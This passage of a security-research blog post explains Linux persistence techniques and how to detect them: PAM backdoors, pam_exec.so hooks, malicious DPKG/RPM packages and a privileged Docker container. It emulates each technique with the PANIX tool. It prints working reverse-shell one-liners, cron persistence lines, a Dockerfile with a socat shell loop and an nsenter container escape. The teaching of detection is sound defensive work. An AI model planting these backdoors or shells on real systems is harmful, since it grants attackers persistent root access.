[+] Backing up original PAM library...
[+] Copying PAM library to /lib/x86_64-linux-gnu/security...
[+] Checking SELinux status...
[+] Rogue PAM injected!                                                                                                                                                                                                             
You can now login to any user (including root) with a login shell using your specified password.
Example: su - user
Example: ssh user@ip

[+] PAM persistence established! 
</code></pre>
<p>Let’s analyze the events of interest in Discover. Due to the huge load of events originating from compiling PAM source, these events are sorted from oldest (top) to newest (bottom).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/approaching-the-summit-on-persistence/image4.png" alt="PANIX Malicious PAM module execution visualized in Kibana - part 1" /></p>
<p>Upon execution of PANIX, we can see <code>dpkg</code> being used to discover the running PAM version, followed by a <code>curl</code> execution to download the linux-pam source for this identified version. After extracting the <code>tar</code> archive, PANIX continues to modify the <code>pam_unix_auth.c</code> source code to implement the backdoor.</p>
<p>Once the above steps are completed, the following events occur (sorted from newest (top) to oldest (bottom)):</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/approaching-the-summit-on-persistence/image1.png" alt="PANIX Malicious PAM module execution visualized in Kibana - part 2" /></p>
<p>The <code>pam_unix.so</code> file is compiled, and moved to the correct directory (in this case <code>/lib/x86_64-linux-gnu/security</code>), overwriting the existing <code>pam_unix.so</code> file and successfully activating the backdoor.</p>
<p>Let's review the coverage:</p>
<p><em>Detection and endpoint rules that cover Malicious PAM persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">File</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml">Creation or Modification of Pluggable Authentication Module or Configuration</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation_in_unusual_dir.toml">Pluggable Authentication Module Creation in Unusual Directory</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/discovery_pam_version_discovery.toml">Pluggable Authentication Module Version Discovery</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_source_download.toml">Pluggable Authentication Module Source Download</a></td>
</tr>
<tr>
<td align="left">Authentication</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_unusual_pam_grantor.toml">Authentication via Unusual PAM Grantor</a></td>
</tr>
</tbody>
</table>
<p>To revert any changes made to the system by PANIX, you can use the corresponding revert module by running:</p>
<pre><code>&gt; ./panix.sh --revert pam

[+] Searching for rogue PAM module
[+] Restored original PAM module '/lib/x86_64-linux-gnu/security/pam_unix.so'.
[+] Restarting SSH service...
[+] SSH service restarted successfully.
</code></pre>
<h3>Hunting for T1556.003 - Pluggable Authentication Modules (Malicious PAM)</h3>
<p>Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “<em>Hunting for T1053 - scheduled task/job</em>” section of “<a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms"><em>Linux Detection Engineering -  A primer on persistence mechanisms</em></a>”. Additionally, descriptions and references can be found in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>.</p>
<p>We can hunt for PAM persistence through <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/de/guide/en/kibana/current/osquery.html">OSQuery</a>, focusing on file creations (as this technique requires the compilation of modified PAM components) and modifications to PAM-related files and directories. The approach includes monitoring for the following:</p>
<ul>
<li><strong>Creations and/or modifications to PAM configuration files:</strong> Tracks changes to files in the <code>/etc/pam.d/</code> and <code>/lib/security/</code> directories and the <code>/etc/pam.conf</code> file, which are commonly targeted for PAM persistence.</li>
</ul>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md">Persistence via Pluggable Authentication Modules</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1556/003/">T1556.003</a>.</p>
<h2>T1556.003 - Pluggable Authentication Modules: pam_exec.so</h2>
<p>The <code>pam_exec.so</code> module, part of the PAM framework, allows administrators to execute external commands or scripts during the authentication process. This flexibility is powerful for extending authentication workflows with tasks like logging, additional security checks, or notifications. However, this same capability can be exploited by attackers to log passwords or execute backdoors, enabling malicious scripts to run when users authenticate.</p>
<p>To understand how <code>pam_exec.so</code> can be configured, consider the following excerpt from <code>/etc/pam.d/common-auth</code>, a file that defines the authentication scheme for Linux systems:</p>
<pre><code class="language-py"># /etc/pam.d/common-auth - authentication settings common to all services

# Primary modules
auth [success=1 default=ignore] pam_unix.so nullok_secure

# Fallback if no module succeeds
auth requisite pam_deny.so

# Ensure a positive return value if none is set
auth required pam_permit.so
</code></pre>
<p>This file controls how authentication is processed for all services. Each line defines a module and its behavior. For instance:</p>
<ul>
<li>The <code>auth</code> keyword indicates that the module operates during the authentication phase.</li>
<li>Control flags, like <code>[success=1 default=ignore]</code>, specify how PAM interprets the module's result. For example, <code>success=1</code> skips the next module if the current one succeeds.</li>
<li>The <code>requisite</code> flag immediately denies authentication if the module fails:
<ul>
<li><code>auth requisite pam_deny.so</code></li>
</ul>
</li>
<li>The <code>required</code> flag ensures the module must succeed for authentication to proceed, though subsequent modules in the stack will still execute:
<ul>
<li><code>auth required pam_permit.so</code></li>
</ul>
</li>
</ul>
<p>Modules such as <code>pam_unix.so</code> handle traditional UNIX authentication by validating user credentials against <code>/etc/shadow</code>. Together, these components define the authentication process and dictate how the system responds to various conditions. For more information and examples, visit the <a href="https://linux.die.net/man/5/pam.d">pam.d man page</a>.</p>
<p>One way of abusing this mechanism is by leveraging the <code>pam_exec.so</code> module to execute an arbitrary script upon authentication through <code>/etc/pam.d/sshd</code>. By providing the path to a backdoor script on the host system, we can ensure that our backdoor is executed on every successful SSH authentication. <a href="https://www.group-ib.com/">Group-IB</a> wrote about this technique in a recent publication dubbed “<a href="https://www.group-ib.com/blog/pluggable-authentication-module/"><em>The Duality of the Pluggable Authentication Module (PAM)</em></a>”.</p>
<p>A second method involves the modification of <code>/etc/pam.d/common-auth</code> for Debian-based systems or <code>/etc/pam.d/sshd</code> for Fedora-based systems to log user credentials. This technique was earlier discussed in <a href="https://embracethered.com/blog/">Wunderwuzzi’s blog</a> called “<a href="https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/"><em>Post Exploitation: Sniffing Logon Passwords with PAM</em></a>”. While capturing credentials isn't technically a persistence mechanism, it enables ongoing access to a host by leveraging stolen credentials.</p>
<p>In the next section we will take a look at how to implement arbitrary command execution through <code>pam_exec.so</code> using PANIX.</p>
<h3>Persistence through T1556.003 - Pluggable Authentication Modules: pam_exec.so</h3>
<p>To better understand the technique, we will take a look at the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh">setup_pam.sh</a> PANIX module.</p>
<pre><code>echo -e &quot;#!/bin/bash\nnohup setsid /bin/bash -c '/bin/bash -i &gt;&amp; /dev/tcp/$ip/$port 0&gt;&amp;1' &amp;&quot; &gt; /bin/pam_exec_backdoor.sh

chmod 700 /bin/pam_exec_backdoor.sh

pam_sshd_file=&quot;/etc/pam.d/sshd&quot;
pam_line=&quot;session optional pam_exec.so seteuid /bin/pam_exec_backdoor.sh&quot;
</code></pre>
<p>The first step is to create the backdoor script to execute, this can be any C2 beacon, reverse shell or other means of persistence. PANIX creates a simple reverse shell and grants it execution permissions. Once the backdoor in <code>/bin/pam_exec_backdoor.sh</code> is in place, the <code>/etc/pam.d/sshd</code> file is modified. The <code>session</code> keyword ensures the script runs during user session setup or teardown, while <code>seteuid</code> ensures the script runs with the effective user ID (<code>eUID</code>) of the authenticated user instead of root.</p>
<p>Since the detection methods for the password harvesting module are quite similar to those of the backdoor module, we will focus on discussing the backdoor module in detail. You are encouraged to explore the <a href="https://github.com/Aegrah/PANIX/blob/7a9cf39b35b40ee64bfe6b510f685003ebc043ae/modules/setup_pam.sh#L257">password-harvesting module</a> on your own!</p>
<p>Let’s run the PANIX module with the following command line arguments:</p>
<pre><code>&gt; sudo ./panix.sh --pam --pam-exec --backdoor --ip 192.168.100.1 --port 2015

[+] Creating reverse shell script at /bin/pam_exec_backdoor.sh...
[+] /bin/pam_exec_backdoor.sh created and permissions set to 700.
[+] Modifying /etc/pam.d/sshd to include the PAM_EXEC rule...
[+] PAM_EXEC rule added to /etc/pam.d/sshd.
[+] Restarting SSH service to apply changes...
[+] SSH service restarted successfully.
[+] PAM_EXEC reverse shell backdoor planted!

Authenticate to trigger the reverse shell.

[+] PAM persistence established!
</code></pre>
<p>After triggering the reverse shell by authentication, we can analyze the logs in Discover:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/approaching-the-summit-on-persistence/image3.png" alt="PANIX pam_exec.so module execution visualized in Kibana" /></p>
<p>After PANIX executes, it creates and grants execution permissions to the <code>/bin/pam_exec_backdoor.sh</code> backdoor. Next, the backdoor configuration is added to the <code>/etc/pam.d/sshd</code> file, and the <code>SSHD</code> service is restarted. Upon authentication, we can see the execution of the backdoor by the <code>SSHD</code> parent process, starting the reverse shell chain (<code>pam_exec_backdoor.sh</code> → <code>nohup</code> → <code>setsid</code> → <code>bash</code>).</p>
<p>Let’s review the coverage. The key distinction between this technique and the previous one is that this method relies on configuration changes rather than compiling a new PAM module, requiring a different set of detection rules to address the threat effectively:</p>
<p><em>Detection and endpoint rules that cover pam_exec.so persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">File</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml">Creation or Modification of Pluggable Authentication Module or Configuration</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/8a9e857453566068088f5a24cc1f39b839e60fe8/behavior/rules/linux/persistence_potential_backdoor_execution_through_pam_exec.toml">Potential Backdoor Execution Through PAM_EXEC</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/e528feb989d8fc7f7ca8c4100c0bf5ca7b912a5d/rules/linux/persistence_unusual_sshd_child_process.toml">Unusual SSHD Child Process</a></td>
</tr>
</tbody>
</table>
<p>To revert any changes, you can use the corresponding revert module by running:</p>
<pre><code>&gt; ./panix.sh --revert pam

[+] Removing PAM_EXEC backdoor...
[+] Removed '/bin/pam_exec_backdoor.sh'.
[+] Removed PAM_EXEC line from '/etc/pam.d/sshd'.
[+] Restarting SSH service...
[+] SSH service restarted successfully.
[-] PAM_EXEC line not found in '/etc/pam.d/common-auth'.
</code></pre>
<h3>Hunting for T1556.003 - Pluggable Authentication Modules: pam_exec.so</h3>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to its use. This technique relies on altering PAM configuration files, rather than compilation to execute commands or scripts. The approach includes monitoring for the following:</p>
<ul>
<li><strong>Child processes spawned from SSH:</strong> Tracks processes initiated via SSH sessions, as these may indicate the misuse of <code>pam_exec.so</code> for persistence.</li>
<li><strong>Creations and/or modifications to PAM configuration files:</strong> Tracks changes to files in the <code>/etc/pam.d/</code> and <code>/lib/security/</code> directories and the <code>/etc/pam.conf</code> file, which are commonly targeted for PAM persistence.</li>
</ul>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md">Persistence via Pluggable Authentication Modules</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1556/003/">T1556.003</a>.</p>
<h1>T1546.016 - Event Triggered Execution: Installer Packages</h1>
<p>Package managers are used to install, update, and manage software packages. While these tools streamline software management, they can also be abused by attackers to gain initial access or achieve persistence. By hijacking the package manager's execution flow, attackers can insert malicious code that executes during routine package management tasks, such as package installation or updates. This technique is tracked by MITRE under the identifier <a href="https://attack.mitre.org/techniques/T1546/016/">T1546.016</a>.</p>
<h2>T1546.016 - Installer Packages: DPKG &amp; RPM</h2>
<p>Popular managers include <code>DPKG</code> (Debian Package) for Debian-based distributions and <code>RPM</code> (Red Hat Package Manager) for Red Hat-based systems.</p>
<p><strong>1. DPKG (Debian Package Manager)</strong></p>
<p><code>DPKG</code>, the Debian package manager, processes <code>.deb</code> packages and supports lifecycle scripts such as <code>preinst</code>, <code>postinst</code>, <code>prerm</code>, and <code>postrm</code>. These scripts run at different stages of the package lifecycle, making them a potential target for executing malicious commands. A potential DPKG package file structure used for malicious intent could look like this:</p>
<pre><code>malicious_package/
├── DEBIAN/
├── control
├── postinst
</code></pre>
<p>Where the post-installation script (<code>postinst</code>) runs immediately after a package is installed, allowing the attacker to gain initial access or establish persistence through malicious code.</p>
<p>Upon installation, the <code>DPKG</code> scripts (<code>preinst</code>, <code>postinst</code>, <code>prerm</code>, and <code>postrm</code>) will be stored in the <code>/var/lib/dpkg/info/</code> directory and executed. Package installation logs are stored in <code>/var/log/dpkg.log</code>, and record commands like <code>dpkg -i</code> and the package names.</p>
<p><strong>2. RPM (Red Hat Package Manager)</strong></p>
<p><code>RPM</code>, the Red Hat Package Manager, is the default package manager for Red Hat-based distributions like Fedora, CentOS, and RHEL. It processes <code>.rpm</code> packages and supports script sections such as <code>%pre</code>, <code>%post</code>, <code>%preun</code>, and <code>%postun</code>, which execute at various stages of the package lifecycle. These scripts can be exploited by attackers to run arbitrary commands during installation, removal, or updates.</p>
<p>A typical malicious RPM package might include a <code>%post</code> script embedded directly in the package’s <code>spec</code> file. For example, a <code>%post</code> script could launch a reverse shell or modify critical system configurations immediately after the package installation completes. An example package layout could look as follows:</p>
<pre><code>~/rpmbuild/
├── SPECS/
│    ├── malicious_package.spec
├── BUILD/
├── RPMS/
├── SOURCES/
├── SRPMS/
</code></pre>
<p>Upon installation, <code>RPM</code> runs the <code>%post</code> script, allowing the attacker to execute the payload. The package manager logs installation activity in <code>/var/log/rpm.log</code>, which includes the names and timestamps of installed packages. Additionally, the built <code>RPM</code> package is stored in <code>/var/lib/rpm/</code>.</p>
<h3>Persistence through T1546.016 - Installer Packages: DPKG &amp; RPM</h3>
<p>PANIX can establish persistence through both <code>DPKG</code> and <code>RPM</code> within the <a href="https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_package.sh">setup_malicious_package.sh</a> module. Starting with <code>DPKG</code>, the directory structure is created, the control file is written and the payload is added to the <code>postinst</code> file:</p>
<pre><code># DPKG package setup
PACKAGE_NAME=&quot;panix&quot;
PACKAGE_VERSION=&quot;1.0&quot;
DEB_DIR=&quot;${PACKAGE_NAME}/DEBIAN&quot;
PAYLOAD=&quot;#!/bin/sh\nnohup setsid bash -c 'bash -i &gt;&amp; /dev/tcp/${ip}/${port} 0&gt;&amp;1' &amp;&quot;

# Create directory structure
mkdir -p ${DEB_DIR}

# Write postinst script
echo -e &quot;${PAYLOAD}&quot; &gt; ${DEB_DIR}/postinst
chmod +x ${DEB_DIR}/postinst

# Write control file
echo &quot;Package: ${PACKAGE_NAME}&quot; &gt; ${DEB_DIR}/control
echo &quot;Version: ${PACKAGE_VERSION}&quot; &gt;&gt; ${DEB_DIR}/control
echo &quot;Architecture: all&quot; &gt;&gt; ${DEB_DIR}/control
echo &quot;Maintainer: https://github.com/Aegrah/PANIX&quot; &gt;&gt; ${DEB_DIR}/control
echo &quot;Description: This malicious package was added through PANIX&quot; &gt;&gt; ${DEB_DIR}/control
</code></pre>
<p>Afterwards, all that is left is to build the package with <code>dpkg-deb</code> and install it through <code>dpkg</code>.</p>
<pre><code># Build the .deb package
dpkg-deb --build ${PACKAGE_NAME}

# Install the .deb package
dpkg -i ${PACKAGE_NAME}.deb
</code></pre>
<p>Upon installation, or updating of the package, the payload will be executed. In order to persist on a regular interval, any other persistence mechanism can be used. PANIX leverages <code>Cron</code>:</p>
<pre><code>echo &quot;*/1 * * * * /var/lib/dpkg/info/${PACKAGE_NAME}.postinst configure &gt; /dev/null 2&gt;&amp;1&quot; | crontab -
</code></pre>
<p>To forcefully install the package on a certain interval. This is of course not a stealthy mechanism, but serves as a proof of concept to emulate the technique. Let’s run the payload, and analyze the simulated events in Kibana:</p>
<pre><code>sudo ./panix.sh --malicious-package --dpkg --ip 192.168.100.1 --port 2019
dpkg-deb: building package 'panix' in 'panix.deb'.
Preparing to unpack panix.deb ...
Unpacking panix (1.0) over (1.0) ...
Setting up panix (1.0) ...
nohup: appending output to 'nohup.out'
[+] Malicious package persistence established.
</code></pre>
<p>Looking at the events generated in Kibana, we can see the following sequence:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/approaching-the-summit-on-persistence/image2.png" alt="PANIX malicious-package module execution visualized in Kibana (DPKG)" /></p>
<p>PANIX is executed via <code>sudo</code>, after which the <code>postinst</code> and <code>control</code> files are created. The package is then built using <code>dpkg-deb</code>, and installed with <code>dpkg -i</code>. Here we can see the <code>/var/lib/dpkg/info/panix.postinst</code> executing the reverse shell execution chain (<code>nohup</code> → <code>setsid</code> → <code>bash</code>). After installation, the <code>crontab</code> is altered to establish persistence on a one-minute interval.</p>
<p><strong>RPM</strong></p>
<p>For <code>RPM</code>, a similar flow as <code>DPKG</code> is leveraged. The package is set up using the correct <code>RPM</code> package structure, and the <code>%post</code> section is set to contain the payload that gets triggered after installation:</p>
<pre><code># RPM package setup
PACKAGE_NAME=&quot;panix&quot;
PACKAGE_VERSION=&quot;1.0&quot;
cat &lt;&lt;-EOF &gt; ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec
Name: ${PACKAGE_NAME}
Version: ${PACKAGE_VERSION}
Release: 1%{?dist}
Summary: RPM package with payload script
License: MIT

%description
RPM package with a payload script that executes a reverse shell.

%prep
# No need to perform any preparation actions

%install
# Create directories
mkdir -p %{buildroot}/usr/bin

%files
# No need to specify any files here since the payload is embedded

%post
# Trigger payload after installation
nohup setsid bash -c 'bash -i &gt;&amp; /dev/tcp/${ip}/${port} 0&gt;&amp;1' &amp;

%clean
rm -rf %{buildroot}

%changelog
* $(date +'%a %b %d %Y') John Doe &lt;john.doe@example.com&gt; 1.0-1
- Initial package creation
</code></pre>
<p>Next, the <code>RPM</code> package is built using <code>rpmbuild</code>, and installed with <code>rpm</code>:</p>
<pre><code># Build RPM package
rpmbuild -bb ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec

# Install RPM package with forced overwrite
VER=$(grep VERSION_ID /etc/os-release | cut -d '&quot;' -f 2 | cut -d '.' -f 1)
rpm -i --force ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm
mv ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm /var/lib/rpm/${PACKAGE_NAME}.rpm
</code></pre>
<p>Upon installation, the payload will be executed. Again, the following <code>Cron</code> job is created to ensure persistence on a one-minute interval:</p>
<pre><code>echo &quot;*/1 * * * * rpm -i --force /var/lib/rpm/${PACKAGE_NAME}.rpm &gt; /dev/null 2&gt;&amp;1&quot; | crontab
</code></pre>
<p>Let’s examine the traces that the <code>RPM</code> package technique leaves behind:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/approaching-the-summit-on-persistence/image5.png" alt="PANIX malicious-package module execution visualized in Kibana (RPM)" /></p>
<p>Upon PANIX execution, the <code>panix.spec</code> file is created and populated. Next, <code>rpmbuild</code> is used to build the package, and <code>rpm -i</code> is executed to install the package. Upon installation, the <code>%post</code> payload is executed, leading to an execution of the reverse shell chain (<code>nohup</code> → <code>setsid</code> → <code>bash</code>) with a <code>process.parent.command_line</code> of <code>/bin/sh /var/tmp/rpm-tmp.HjtRV5 1</code>, indicating the execution of an <code>RPM</code> package. After installation, <code>Crontab</code> is altered to execute the payload once, at one minute intervals for consistency.<br />
Let’s take a look at the coverage:</p>
<p><em>Detection and endpoint rules that cover installer package (DPKG &amp; RPM) persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_rpm_package_installation_from_unusual_parent.toml">RPM Package Installed by Unusual Parent Process</a> &lt;br /&gt;<a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_unusual_execution.toml">Unusual DPKG Execution</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_package_installation_from_unusual_parent.toml">DPKG Package Installed by Unusual Parent Process</a></td>
</tr>
<tr>
<td align="left">Network</td>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_default_dpkg_directory.toml">Egress Network Connection from Default DPKG Directory</a> &lt;br /&gt; <a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_rpm_package.toml">Egress Network Connection from RPM Package</a></td>
</tr>
</tbody>
</table>
<p>You can revert the changes made by PANIX by running the following revert command:</p>
<pre><code>&gt; ./panix.sh --revert malicious-package

[+] Reverting malicious package...
[+] Removing DPKG package 'panix'...
[+] DPKG package 'panix' removed successfully.
[+] Removing cron job associated with 'panix'...
[+] Cron job removed.
[+] Cleaning up '/var/lib/dpkg/info'...
[+] Cleanup completed.
</code></pre>
<h3>Hunting for T1546.016 - Installer Packages: DPKG &amp; RPM</h3>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to package management tools. The approach includes monitoring for the following:</p>
<ul>
<li><strong>File creation or modification in package management directories:</strong> Tracks unusual changes to files in paths like <code>/var/lib/dpkg/info/</code> and <code>/var/lib/rpm/</code>, excluding common benign patterns such as checksum or list files.</li>
<li><strong>Processes executed from lifecycle scripts:</strong> Observes commands and processes launched from directories like <code>/var/tmp/rpm-tmp.*</code> and <code>/var/lib/dpkg/info/</code>, which may indicate suspicious or unauthorized activity.</li>
<li><strong>Detailed metadata on modified files:</strong> Uses OSQuery to gather additional file metadata, including ownership and timestamps, for forensic analysis of package management activity.</li>
</ul>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_rpm_dpkg_installer_packages.md">Persistence via DPKG/RPM Package</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1546/016/">T1546.016</a>.</p>
<h1>T1610 - Deploy Container</h1>
<p>Host escape involves exploiting vulnerabilities, misconfigurations, or excessive permissions in containerized or virtualized environments to gain access to the underlying host system. Technologies like Docker, Kubernetes, and VMware aim to isolate workloads, but improper configurations or shared resources can allow attackers to break out of the container and compromise the host. MITRE tracks container deployment under identifier <a href="https://attack.mitre.org/techniques/T1610/">T1610</a>.</p>
<h2>T1610 - Deploy Container: Malicious Docker Container</h2>
<p>Docker containers are particularly susceptible to host escapes when improperly secured. Attackers may exploit vulnerabilities or misconfigurations in two main ways:</p>
<p><strong>1. Manipulating a Running Container</strong></p>
<p>Attackers abuse misconfigured containers to execute commands affecting the host. Common scenarios include:</p>
<ul>
<li><strong>Privileged Mode</strong>: Containers running with <code>--privileged</code> can directly interact with host resources. For example, attackers may load kernel modules or access host-level devices.</li>
<li><strong>Excessive Capabilities</strong>: Containers with the <code>CAP_SYS_ADMIN</code> capability can perform privileged operations, such as mounting filesystems or accessing <code>/dev</code> devices.</li>
<li><strong>Sensitive Volume Access</strong>: Volumes like <code>/var/run/docker.sock</code> allow attackers to issue Docker commands to the host.</li>
<li><strong>Host Namespace Access</strong>: Containers configured with <code>--pid=host</code> or <code>--net=host</code> expose the host's process and network namespaces. Attackers can escalate privileges by targeting processes or manipulating network configurations directly.</li>
</ul>
<p><strong>2. Deploying a Malicious Container</strong></p>
<p>Attackers deploy custom containers designed to break out of isolation. These containers often include:</p>
<ul>
<li>Exploits targeting runtime vulnerabilities or kernel bugs.</li>
<li>Scripts for privilege escalation or persistence, such as reverse shells or C2 beacons.</li>
<li>Malicious configurations enabling unauthorized access to host resources.</li>
</ul>
<p>In the next section, we will take a look at an example of a malicious docker container implementation.</p>
<h3>Persistence through T1610 - Deploy Container: Malicious Docker Container</h3>
<p>In this scenario, we will take a look at how to simulate the creation of an exemplary malicious Docker container through PANIX. Within the <a href="https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_docker_container.sh">setup_malicious_docker_container.sh</a> module, PANIX creates a Dockerfile with the following contents:</p>
<pre><code>FROM alpine:latest

RUN apk add --no-cache bash socat sudo util-linux procps

RUN adduser -D lowprivuser

RUN echo '#!/bin/bash' &gt; /usr/local/bin/entrypoint.sh \\
	&amp;&amp; echo 'while true; do /bin/bash -c &quot;socat exec:\&quot;/bin/bash\&quot;,pty,stderr,setsid,sigint,sane tcp:$ip:$port&quot;; sleep 60; done' &gt;&gt; /usr/local/bin/entrypoint.sh \\
	&amp;&amp; chmod +x /usr/local/bin/entrypoint.sh

RUN echo '#!/bin/bash' &gt; /usr/local/bin/escape.sh \\
	&amp;&amp; echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' &gt;&gt; /usr/local/bin/escape.sh \\
	&amp;&amp; chmod +x /usr/local/bin/escape.sh \\
	&amp;&amp; echo 'lowprivuser ALL=(ALL) NOPASSWD: /usr/bin/nsenter' &gt;&gt; /etc/sudoers

USER lowprivuser

ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]
</code></pre>
<p>The Dockerfile sets up a lightweight Alpine Linux container with tools like <code>bash</code>, <code>socat</code>, and <code>nsenter</code>. The <code>entrypoint.sh</code> script ensures continuous reverse shell access by repeatedly connecting to a remote server using <code>socat</code>. The <code>escape.sh</code> script, which is granted passwordless <code>sudo</code> permissions, uses <code>nsenter</code> to attach to the host's namespaces (e.g., mount, network, PID) via the init process, effectively breaking container isolation.</p>
<p>The container is built using:</p>
<p><code>docker build -t malicious-container -f $DOCKERFILE . &amp;&amp; \</code></p>
<p>Where the <code>-t</code> flag tags the container for easy identification, and <code>-f</code> specifies the Dockerfile path.</p>
<p>It is then run with:</p>
<p><code>docker run -d --name malicious-container --privileged --pid=host malicious-container</code></p>
<p>Where the <code>--privileged</code> flag allows full access to host resources, bypassing Docker’s isolation mechanisms, while <code>--pid=host</code> shares the host's process namespace, enabling the container to interact directly with host-level processes.</p>
<p>To test this technique, Docker must be installed, and the user running the simulation must either have root or docker group permissions. Let’s run the payload and examine the logs through the execution of the following PANIX command:</p>
<pre><code>sudo ./panix.sh --malicious-container --ip 192.168.100.1 --port 2021

 =&gt; [1/5] FROM [installing ...]
 =&gt; [2/5] RUN apk add --no-cache bash socat sudo util-linux procps
 =&gt; [3/5] RUN adduser -D lowprivuser
 =&gt; [4/5] RUN echo '#!/bin/bash' &gt; /usr/local/bin/entrypoint.sh &amp;&amp; echo 'while true; do /bin/bash -c &quot;socat exec:
 =&gt; [5/5] RUN echo '#!/bin/bash' &gt; /usr/local/bin/escape.sh &amp;&amp; echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -'

9543f7ce4c6a8defcad36358f00eb4d38a85a8688cc8ecd5f15a5a2d3f43383b

[+] Malicious Docker container created and running.
[+] Reverse shell is executed every minute.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
[+] Docker container persistence established!
</code></pre>
<p>After catching the shell on the attacker’s machine, run the <code>/usr/local/bin/escape.sh</code> script to escape the container:</p>
<pre><code>❯ nc -nvlp 2021
listening on [any] 2021 ...
connect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 44726

9543f7ce4c6a:/$ /usr/local/bin/escape.sh
root@debian10-persistence:~# hostname
debian10-persistence
</code></pre>
<p>Upon execution, the following logs are generated:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/approaching-the-summit-on-persistence/image6.png" alt="PANIX malicious-container module execution visualized in Kibana" /></p>
<p>The execution of <code>panix.sh</code> initiates the creation of the <code>/tmp/Dockerfile</code>. The build command is then executed to create the container based on the specified configuration. Once built, the container is launched with the <code>--privileged</code> and <code>--pid=host</code> flags, enabling the necessary capabilities for host escape. Upon startup, the container runs the <code>/usr/local/bin/entrypoint.sh</code> script, which successfully establishes a reverse shell connection to the attacker’s machine using <code>socat</code>. After the shell is caught, the <code>/usr/local/bin/escape.sh</code> script is executed, effectively breaking out of the container and gaining access to the host.</p>
